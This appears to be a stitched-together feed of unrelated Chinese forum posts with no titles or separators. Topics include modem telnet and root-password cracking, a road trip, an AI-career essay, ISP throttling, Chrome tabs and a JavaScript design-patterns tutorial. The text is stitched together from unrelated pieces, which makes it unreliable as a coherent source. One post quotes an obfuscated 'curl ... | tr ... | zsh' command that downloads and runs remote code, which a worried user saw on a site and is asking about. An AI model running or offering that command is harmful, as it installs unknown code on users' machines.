家里移动千兆宽带给装的是中兴千兆猫,前几天趁着放假给它换成了贝尔 XG-140G-MD ,闲鱼到手 30 多块钱。

设置以及破解 telnet 密码参考了广东联通成功更换诺基亚贝尔 XG-140G-MD/XG-040G-MD 附相关教程和使用方法以及移动光猫超级密码获取教程:诺基亚 XG-04G-MF 桥接模式设置详解 两篇文章。这光猫破解很简单,点点链接就能修改地区、开 telnet 、修改 root 密码,不像当年用华为时四处找 onu 使能工具。参考的第二篇帖子里甚至给出了破解 root 密码脚本,经测试只需要安装 pycryptodomex 包,然后将脚本第 3 行修改成 from Cryptodome.Cipher import AES 就完美运行了。我这里移动只验证 LOID ,配置起来毫无难度~这猫似乎还支持刷 openwrt ,不过拿 XG-04G-MF 刷的人更多

笔记本:2560 x 1600
扩展屏:3840 x 2160

文字尺寸大小最合适的是笔记本 175%,扩展屏 200%,但是缩放不一致会有输入法遮挡情况发生。
于是都改成了 200%。过了一个小时眼睛表示非常舒适 =。=
但是笔记本上的任务栏太占空间了有点烦

假期三天时间,提前问了 chatgpt/deepseek/千问/豆包,规划了一下从上海出发的行程,对比之下,chatgpt 和 deepseek 是比较靠谱的,根据我的要求,不要太累/开车两个小时左右去一个景点/自驾游所以住宿可以去非热门的地方便宜点。

综合下来 chatgpt 和 deepseek 是比较合理的,按时间段规划的行程都可以参考,chatgpt 最理解我的要求,比如规划的下午可以去宾馆休息一下,晚上去逛夜景等等。


计划的是:

第一天 海宁钱塘江 - 绍兴仓桥直街 - 宾馆休息 - 看夜景吃绍兴小吃,家常菜

第二天 天台国清寺 - 天台县城吃午饭 - 开车临海,宾馆休息 - 紫阳街夜景,逛街

第三天 宁海前童古镇 - 余姚四明湖 - 下午两点前出发回上海


实际行程:

第一天早上六点出发,避开了出上海的早高峰,去了海宁,计划去看钱塘江大潮,开车两个小时,八点多就到了,查了下小程序,涨潮是在下午一点多,还有下午的规划,赶不上了,不涨潮的钱塘江,岸边都是淤泥,水面很平静,一点意思都没有,水也不干净,在旁边的小公园转了转,也算是去过了。

中午 20 多度,开了两个多小时到了绍兴,在仓桥直街附近停车,逛了仓桥直街,西小路,徐渭艺术馆,之后到柯桥的宾馆休息,晚上去了附近的万达广场和小吃一条街。

第一天总体来讲,上午看钱塘江没什么看的,不涨潮的钱塘江,不如不去,下午的仓桥直街,就是臭豆腐一条街,一路上都是卖臭豆腐的,西小路看评价绍兴最美的一条街,也就那样吧,仓桥直街人挤人,西小路没有人,店铺都关门了。晚上的柯桥的小吃街物价比上海便宜,但是也不值得专门跑一趟,住的近可以去逛逛。

第二天早上八点多出发去天台山国清寺,一路上过了无数的盘山隧道,刚开始还挺有新意,后面看多了越开越困,开了三个多小时,中午 12 点多到国清寺,之所以去这里,是因为几年前有次周末来,感觉体验很好,还有免费的茶水,熟普和红茶,这次人挤人,没有什么体验,逛了国清寺,没有往上走就下来了。

到这里已经很累了,本来计划的下午去临海,晚上逛小吃街,第二天上午再逛个小吃街,已经感觉索然无味了,商量了下,直接就开车回上海了,小吃街,古城区,没啥意思。

下午三点多出发,导航显示是四个多小时到上海,结果四个小时只到了海宁,才走了一半,中间有几段堵车,十几公里开了将近一个小时,到了晚上八点,还有 160 公里,我一个人开四个小时,已经腰酸了,累的扛不住,晚上开车不安全,就近找了个宾馆,第二天再回去。

第二天总结下,看够了小吃街,再加上开车太累,临时改变行程,直接开车回去了,因为第二天晚上和第三天上午规划的也是去古镇和小吃街,够够的。国清寺平时还是值得去的,环境很好,人多就别去了。下午开车四个小时,人都麻了,还堵车,晚上住在网红街附近,太累了没去看。

第三天早上去宾馆附近菜市场喝了胡辣汤,吃了早餐后休息下,十点半开车回去,到浦东下午一点多。下午睡了一下午,太累了。


总结:

基本上这三天就这样了,每一个地方都没有深度逛,当地的家常菜也没有吃好,基本上就是小吃街,古镇,古城墙,网红街,看湖,爬山,千篇一律,感觉不到乐趣,都一样,这也是第二天直接改变行程的原因。

开车开的累,晚上睡不好,跟着规划太赶了,景点网红街古镇千篇一律,市内白天 20 多度不想出门。。。

所以想问下经常旅游的 v 友,都是怎么规划的,有哪些乐趣?

下次旅行想去青海,西藏,新疆,云南这些地方,风景好一点的,大环线一类的,不想再人多的地方转来转去了,这样会不会好一点?

e94f648b-35b6-4348-b167-db7f2c983624.png
让我下载脚本

curl -SsLkf $(echo '4bbapijj2a5.pp0h7913j9nusjc85rclrl5t9/rm.tr/r9dr5ol.9e6dffdllmlff5tdm/to/fd.c5r85c5:5drm6l'|tr '7j6flrc8td/mi.59o:e402s3h1aupbn' './0123456789:abcdefhijlmnoprstu')|zsh 

这是什么玩意了,吓得我直接格式化电脑了

### CRUD 时代的终结:未来 5-10 年,普通程序员与中产阶级的残酷结局与唯一出路
今天是 2026 年。过去这两年我们经历的震荡,足以写进行业历史。但诡异的是,现在的大多数人还活在旧时代的幻梦里,以为熬过寒冬就能回到过去。
如果你想找三个月速成的财富密码,或者听几句正确的废话抚慰焦虑,现在就可以 CMD+W 关闭页面了。
这篇文章很长、很硬、甚至有些残酷。但如果你能读完,至少能对未来 5-10 年的生存逻辑有一个清醒的认知。
核心判断只有一句:**增量时代彻底结束,未来的风口不再是某个具体行业,而是“社会分工逻辑”的彻底重构。**
以下是五个正在发生、且不可逆的残酷趋势:
### 一、 白领与初级码农的消亡,超级个体(一人公司)的崛起
现在去看看职场环境,如果你的核心竞争力依然是:处理信息、写八股文报告、或者是普通的 CRUD 代码搬运,你的职业生涯已经进入倒计时了。
过去我们以为的高级脑力劳动,在算力成本无限趋近于零的今天,正变得一文不值。以前一个 10 人团队干的活,现在一个超级个体 + 几个 Agent 就能跑通。这会导致中间管理层和执行层发生断崖式坍塌。
**别再迷信大厂光环了,大厂正在变成新时代的“国企”,稳定但随时可能为了降本增效把你“优化”掉。** 未来的红利,属于能驾驭 AI 的人。注意,不是让你去卷 Python 写模型,而是利用 AI 放大你的逻辑构建、审美和决策能力。
未来 5 年,会有大量年入千万的“个体户”,没有员工,只有一堆 24 小时工作的硅基劳动力。把你现有的行业经验 SOP 化,自己出来单干,这才是出路。
### 二、 数字产物终将免费,真实的物理接触将极度昂贵
这几年大家应该有体感:短视频、网文、合成的音乐、甚至是生成的代码,边际成本已经归零。但在这个赛博空间快感阈值被拉满的时代,人们的心里却越来越空虚。
巨大的反向风口在于:**在此地、即刻的真实体验。**
未来十年,顶级的服务业(需要高度情感交互、复杂非标操作、强信任背书)将迎来爆发。AI 没有手,它不能替你修水管,也不能提供有温度的护理。一个技术精湛的装修工长、一个懂心理学的按摩师、一个能提供尊严感的高端养老服务者,他们的时薪未来会远远超过坐在写字楼里敲键盘的普通打工人。
### 三、 情绪价值与“精神出口”是最大的刚需
物质过剩,精神危机就是必然。抑郁、焦虑是时代的流行病。
未来 5-10 年,心理疗愈、陪伴经济、甚至各种带有“玄学”色彩的心理寄托,都会井喷。这背后的底层逻辑是:人类在被算法算计得体无完肤后,本能地想要寻找一块精神自留地。
任何行业,只要能提供“情绪价值”,都可以重做一遍。你卖的不是咖啡,是 10 分钟的放空;你做的不是普通的 App ,是帮用户逃离现实的幻觉。谁能解决现代人的孤独感和无意义感,谁就掌握了财富密码。
### 四、 搞硬科技与“降维出海”
宏观意志决定资金流向。未来十年,核心任务就两个:安全(硬科技国产化替代)和走出去(出海)。
以前搞互联网是“分配财富”,现在搞硬科技是“创造财富”。而关于出海,**不要只盯着欧美**。欧美阶层固化且对我们防备心重。
把目光投向拉美、中东、东南亚、非洲。去那些基础设施落后、人口结构年轻的地方。你在国内习以为常、甚至卷烂了的商业模式,拿到那里去就是降维打击。这需要极强的生命力和冒险精神,但阻力最小的地方,往往才是真正的风口。
### 五、K 型社会分化:中产阶级的清洗
最残酷的一点:未来 5-10 年,中产阶级(也就是现在还在看这篇帖子的你我)会面临前所未有的清洗。
顶层靠核心资产和算法指数级积累财富;底层靠廉价娱乐和基础保障维持生存。最难受的是中间层,如果不完成跃迁,滑落是必然。因为你的技能点既够不到顶层设计,又无法在底层劳动中具备不可替代性。
房产作为核心资产的时代过去了。**未来的核心资产是:优质的股权、不可复制的个人 IP 、健康的身体、极其稀缺的认知。**
生意只能做两头:要么做 1% 富人的极高端生意(重体验与审美),要么做 99% 大众的极致性价比生意(拼多多模式)。卡在中间不上不下的,大批死亡。
### 最后的话:心力,才是终极壁垒
未来几年是剧烈动荡的周期,大多数人会陷入习得性无助、浮躁和绝望。
当别人因为 AI 焦虑时,你在思考如何利用它;当别人因为经济下行躺平时,你在积蓄力量找缝隙。一颗强大的心脏和延迟满足的能力,能让你赢过 80% 的人。
哪有什么从天而降的风口,所有的爆发,都是蓄谋已久。时代正在洗牌,去拥抱不舒服的变化,去建立个人品牌,去干脏活累活。
不知道各位老哥,有多少人已经感受到了这股寒气,又有多少人已经开始跑通自己的“一人公司”模式了?欢迎来喷,也欢迎探讨。


2025 年 6 月,繁殖季。
我在记录一对游隼时,看到了这一幕。
雌性游隼 Maxine 多次攻击一只在海滩行走的红狐。
红狐并没有威胁,但她在保护领地。
悬崖上的巢附近有三只幼鸟。
下方的一切动静,都不被允许。

江苏电信 1000M 宽带,有 iPv6 和公网 IP (目前是 121.237 开头),测速上传在 50-60Mbps ,之前一两年一直爽用 pt 和自建的 jellyfin ,前两个月发现看 jellyfin 特别慢,iperf3 一测才发现外网上传速度被限制死在 256kb/s 也就是 2Mbps ,打 10000 号投诉后师傅上门测速都正常,说如果是 pcdn 的话上门测速就会被限制,让我试网盘或者微信上传正不正常,如果正常说明我 NAS 有问题😂,这些测速网站和云盘肯定都是白名单测了也没啥意义,但电信死不承认,有没有什么破局办法🥲

这几年陆续用过了 VIVO OPPO IPHONE 和小米。基本市面上常见的手机品牌和系统都体验过了。
我是个强迫症,对细节比较在意。有一点让我挺有感触的。
就是手机蓝牙连接车机蓝牙播放音乐时,专辑封面是否显示。
经过我的实测,我发现 iPhone 的 ios 在很早的版本就可以通过蓝牙传递封面信息,且在车机上正确显示。
而小米 vivo 直到最新系统版本仍然无法显示
而最近换的 oppo coloros16 我惊喜的发现可以正常显示专辑封面。

前部手机 vivo 的话,用 jovi in car 是可以显示的,走蓝牙协议就不行。

查找资料可知:蓝牙音频播放依赖两个核心协议:
A2DP:只负责传声音(音乐数据流)
AVRCP:负责传控制指令 + 媒体元数据(歌名、歌手、封面)

因此这个细节,依靠手机工程师应该很容易解决,但是很可惜,安卓阵营里目前只有 oppo 解决了这个问题。

观“我把外地姨送给我妈的廉价散装保健品,快递退给姨,你怎么看?”有感。

时代发展的太快了,现在老年人成长的那个社会环境不要说和现在 00 后年轻人的成长环境相比,就是比之 8090 后的成长环境都可以说是天差地别。同时年纪大了学习能力和对新鲜事物的接受度都下降的厉害,老年人很难融入现在的社会,导致老年人无论是在互联网上还是现实中都是处在失权和失声的困境。

之前有刷到过偷拍公交车上用最大字体的老年人的屏幕的合集。有老年人正在给短视频下发送求爱信息的图,有老年人看年轻异性短视频的图,有老年人给另一个老年人发暧昧信息的图,有老年人看直播的图。评论区无一例外全在嘲笑,我一开始也笑,但是突然意识到这是偷拍,这是隐私,如果是一个年轻人的手机屏幕被偷拍,评论区显然不会是这种反应。老年人也是人,但我觉得大多数人都忘记了。老年人几乎已经变成愚蠢,迂腐的代言词,老年人的娱乐方式被嘲笑,需求不被重视,数字化推的太猛了,很多老年人现在连买票都很困难了。社会好像在发展的同时忘记了向后兼容。

很大一部分人已经能够做到幼吾幼以及人之幼,但几乎没有人能做到老吾老以及人之老,实际上很多人就像这个帖子里的 op ,连“老吾老”这一环都没做好,更不要说“以及人之老”。

人人都会变老,不要让变老变成人生体验的下坡路。

chrome 垂直标签上线了。右键点击任意标签,选择「垂直显示标签」,即可。

若没有这个选项。

  • chrome 更新到最新版。
  • 打开 chrome://flags/
  • 搜索 Vertical Tabs 开启即可。

感觉键盘和屏幕还挺容易脏的

屏幕有时候会用擦镜湿巾擦一下,但是擦镜湿巾有点小,不太好擦

键盘也很容易油,而且容易灰尘脏东西进到缝隙里面;拆一次洗也挺费劲的。

你们有什么好办法吗?求分享推荐

先打个预防针,企业里是有更多标准化的解决方案的,我这个方案就是图个方便省事。

背景

我们有个小程序里有一个弹窗,弹窗里有个蛮复杂的 ui 设计,然后点击不同的内容会打开对应的视频进行播放。
我考虑到视频内容肯定会增加,那就不能写死代码。这个 ui 比较复杂然后又只是个小弹窗,感觉实在没必要用代码去实现了。
但是图片更新起来快啊,oss 里上传一下就完事。考虑到以后有类似的需求都可以偷个懒,于是就做了这个小工具。

功能

简单说就是给图片上加上热区,每个热区可以配置点击后的事件。

当 ui 更新新的图片后,打开这个工具网站给图片配置一下热区事件,然后导出后还是一张图片,往 oss 里一扔就完成更新了。  

代码里集成这个 sdk 后可以直接响应图片上的点击事件,如果 sdk 不合适你的平台,那就集成一下 core 包,一个纯 js 包,ai 实现一下就完事了。集成起来非常简单。

网址

项目网址: https://clickable-img.dev.noteloom.app

后续

因为数据是公开的,所以我想上线个加密功能来着,支持配置一个密钥进行加密。不过看有没有人用吧,没人用就不做了。

我遇到了特别没有水平的评委,他问我的问题类比一下:

  • 手机能飞吗?
  • 手机开飞行模式能飞吗?
  • 为什么手机开飞行模式不能飞?
  • 为什么你不做能飞的手机?

我们做 A 的,他一直在问我为什么不做 B?

有的团队 PPT 没讲完,问答环节出问题,分数依然比我们高。我不说我们做的多好,至少 PPT 我们规定时间讲完了,问答环节评委提问逆天我也胡诌过去了。最逆天的是一个团队在问答的时候和评委吵起来,评委直接揭底,分数依然比我们高。

我本人能很快调节,之前因为生病,在自家厂里呆过两年,各种奇葩客户都见过。打击最大的是我的队员们,他们依然无法接受非客观原因导致的止步。

还有一点让我很爽,我们给了其他参赛队员压力(有人在讨论我们的项目有实物,能动),被其他院的老师认可。比赛有时候真的需要运气。

你是不是见过这样的代码:一个文件几千行,一个函数做了十件事,改一个地方崩三个地方。今天我们不背理论,直接用5种前端最常用的设计模式,把你从“面条代码”里捞出来。学完你会发现:原来代码可以像乐高一样,哪里坏了换哪里。

前言

设计模式不是“高大上”的面试题,而是前辈们踩过无数坑后总结的“套路”。就像下棋有定式,写代码也有常见问题的标准解法。今天我们从实际场景出发,不讲23种全部,只挑前端最常用的5种:单例、观察者、工厂、策略、装饰器。看完你就能立刻用在项目里。

一、单例模式:全局只有一个的“独生子”

场景:全局弹窗、登录框、Store、线程池。你希望整个应用只有一个实例,反复创建会浪费资源或导致状态冲突。

不用的痛:每次调用都new Modal(),结果页面上出现十几个重叠的弹窗。

实现

class Singleton {
  constructor() {
    if (!Singleton.instance) {
      this.data = [];
      Singleton.instance = this;
    }
    return Singleton.instance;
  }
  add(item) {
    this.data.push(item);
  }
}
const a = new Singleton();
const b = new Singleton();
console.log(a === b); // true

前端更常见的写法:用闭包或模块(ES6模块本身就是单例)。

// modal.js
let instance;
export function getModal() {
  if (!instance) {
    instance = new Modal();
  }
  return instance;
}

现代替代:直接导出对象字面量(export default { show() {} }),ES6模块天然单例。

二、观察者模式:让不相干的组件“悄悄对话”

场景:购物车更新后,导航栏的数字要变、价格要重算、埋点要上报。你不想让购物车直接调用导航栏的方法(耦合太紧)。

不用的痛:购物车里写header.updateCartCount()sidebar.recalculate()analytics.track()…每加一个模块,购物车代码就要改一次。

实现

class EventBus {
  constructor() {
    this.events = {};
  }
  on(event, callback) {
    if (!this.events[event]) this.events[event] = [];
    this.events[event].push(callback);
  }
  emit(event, data) {
    if (this.events[event]) {
      this.events[event].forEach(cb => cb(data));
    }
  }
  off(event, callback) {
    if (this.events[event]) {
      this.events[event] = this.events[event].filter(cb => cb !== callback);
    }
  }
}
const bus = new EventBus();
// 购物车模块
bus.emit('cartUpdated', { count: 3 });
// 导航栏模块
bus.on('cartUpdated', (data) => updateCount(data.count));
// 埋点模块
bus.on('cartUpdated', (data) => track('cart', data));

观察者模式是前端最常用的模式之一。Vue的响应式原理、React的事件系统、Node.js的EventEmitter都是它的变体。

三、工厂模式:不用自己 new,让“工厂”替你造

场景:根据不同参数创建不同类型的对象,但创建逻辑复杂(比如需要条件判断、依赖注入)。你不想在业务代码里到处写newif-else

不用的痛:每个用到按钮的地方都要写一堆if (type === 'primary') return new PrimaryButton()…重复代码爆炸。

实现

class ButtonFactory {
  createButton(type) {
    switch(type) {
      case 'primary':
        return new PrimaryButton();
      case 'danger':
        return new DangerButton();
      default:
        return new DefaultButton();
    }
  }
}
const factory = new ButtonFactory();
const btn = factory.createButton('primary');

工厂模式把创建对象的逻辑集中管理,业务代码只依赖工厂接口。

更简单的函数工厂

function createUser(role) {
  const base = { createdAt: Date.now() };
  if (role === 'admin') {
    return { ...base, permissions: ['read', 'write', 'delete'] };
  }
  return { ...base, permissions: ['read'] };
}

四、策略模式:消灭“if-else 毒瘤”

场景:表单校验:用户名规则、密码规则、邮箱规则各不相同。或者根据用户等级计算折扣:普通会员9折,黄金会员8折,钻石会员7折。你不想写一长串if-else

不用的痛:一个函数里十几个if-else,加一个新策略要改原有代码,还容易引入bug。

实现

// 策略对象
const discountStrategies = {
  normal: (price) => price * 0.9,
  gold: (price) => price * 0.8,
  diamond: (price) => price * 0.7,
};
function getDiscount(level, price) {
  return discountStrategies[level]?.(price) ?? price;
}
// 使用时
const finalPrice = getDiscount('gold', 100); // 80

校验示例:

const validators = {
  required: (val) => val.trim() !== '',
  minLength: (val, len) => val.length >= len,
  email: (val) => /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(val)
};
function validate(value, rules) {
  for (let rule of rules) {
    const [name, param] = rule.split(':');
    if (!validators[name]?.(value, param)) return false;
  }
  return true;
}

策略模式把算法(策略)提取成独立对象,可以动态替换、复用。

五、装饰器模式:给代码“贴金”而不改源码

场景:给现有函数添加日志、性能监控、权限校验、缓存功能,但不修改函数本身。

不用的痛:在每个函数内部手动加console.time,加完又删,污染业务逻辑。

实现(JavaScript高阶函数版本,TS装饰器已在之前文章讲过):

function withLog(fn) {
  return function(...args) {
    console.log(`调用 ${fn.name} 参数:`, args);
    const result = fn.apply(this, args);
    console.log(`返回值:`, result);
    return result;
  };
}
function add(a, b) { return a + b; }
const loggedAdd = withLog(add);
loggedAdd(2, 3); // 输出日志,返回5

更通用的装饰器组合:

function withTimer(fn) {
  return function(...args) {
    const start = performance.now();
    const result = fn.apply(this, args);
    const end = performance.now();
    console.log(`${fn.name} 耗时 ${end - start}ms`);
    return result;
  };
}
// 组合多个装饰器
const enhanced = withLog(withTimer(add));

装饰器模式让你能“叠加”功能,保持单一职责。

六、实际项目中的组合运用

比如一个用户登录模块:

  • 单例模式:全局唯一的UserStore
  • 工厂模式:根据角色创建不同的用户实例(createUser('admin'))。
  • 观察者模式:登录成功后,触发userLoggedIn事件,购物车、头像组件、权限菜单分别响应。
  • 策略模式:不同等级用户的权限校验策略。
  • 装饰器模式:给API请求函数加上缓存、重试、日志。

七、总结:设计模式是“招式”,不是“教条”

  • 单例:全局唯一,省资源。
  • 观察者:解耦事件发布和订阅。
  • 工厂:集中创建对象。
  • 策略:消灭if-else,算法可互换。
  • 装饰器:动态增强功能。

不要为了用模式而用模式。当你的代码出现重复、难维护、改一处动全身时,想想哪种模式能帮你解耦。写代码就像搭积木,模式是那些标准接口的积木块,让你搭得又快又稳。


如果你觉得今天的“招式”够实用,点个赞让更多人看到。明天我们将聊聊前端架构设计——从技术选型到目录结构,如何搭建一个能支撑三年迭代的项目骨架。我们明天见!